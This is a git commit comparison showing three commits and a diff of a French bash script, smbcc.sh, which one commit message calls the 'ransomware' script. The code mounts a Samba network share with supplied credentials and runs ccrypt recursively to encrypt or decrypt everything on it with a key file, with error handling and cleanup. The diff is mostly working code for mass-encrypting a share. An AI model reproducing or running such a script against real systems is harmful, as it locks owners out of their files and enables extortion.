Compare commits

...

3 Commits

Author SHA1 Message Date
Guillaume Emorine
996e230d44 Modification finale du script smbcc.sh. 2024-11-18 11:17:00 +01:00
Guillaume Emorine
ee8ba29e39 Légères modifications au script. 2024-11-18 10:53:46 +01:00
Guillaume Emorine
8ac9bac7a1 Légère modification du script du ransomware. 2024-11-18 10:52:18 +01:00

View File

@@ -14,26 +14,27 @@ user=$(echo $cred| cut -d "/" -f1)
pass=$(echo $cred| cut -d "/" -f2) pass=$(echo $cred| cut -d "/" -f2)
# Création du répertoire s'il n'existe pas, et montage du partage Samba dessus. # Création du répertoire s'il n'existe pas, et montage du partage Samba dessus.
[[ -e /mnt/samba ]] || mkdir /mnt/samba [[ -e /tmp/samba ]] || mkdir /tmp/samba
mount.cifs -o "username=$user,password=$pass" "//${chemin}" /mnt/samba mount.cifs -o "username=$user,password=$pass" "//${chemin}" /tmp/samba
# Première vérification d'erreurs. # Première vérification d'erreurs.
if [[ $? != 0 ]] ; then if [[ $? != 0 ]] ; then
rmdir /mnt/samba echo "Erreur dans la commande mount.cifs, vérifiez les paramètres entrés."
rmdir /tmp/samba
exit 1 exit 1
fi fi
# Commande ccrypt pour encrypter ou décrypter le répertoire avec le partage. # Commande ccrypt pour encrypter ou décrypter le répertoire avec le partage.
ccrypt "$action" -r -k $ficcle /mnt/samba ccrypt "$action" --recursive --key $ficcle /tmp/samba
# Seconde vérification d'erreurs. # Seconde vérification d'erreurs.
if [[ $? != 0 ]] ; then if [[ $? != 0 ]] ; then
echo "Échec de ccrypt, veuillez relancer le script après avoir vérifié les paramètres." echo "Échec de ccrypt, veuillez relancer le script après avoir vérifié les paramètres."
umount /mnt/samba umount /tmp/samba
exit 1 exit 1
fi fi
# Nettoyage des directoires, et sortie du script avec le code 0. # Nettoyage des directoires, et sortie du script avec le code 0.
umount /mnt/samba umount /tmp/samba
rmdir /mnt/samba rmdir /tmp/samba
exit 0 exit 0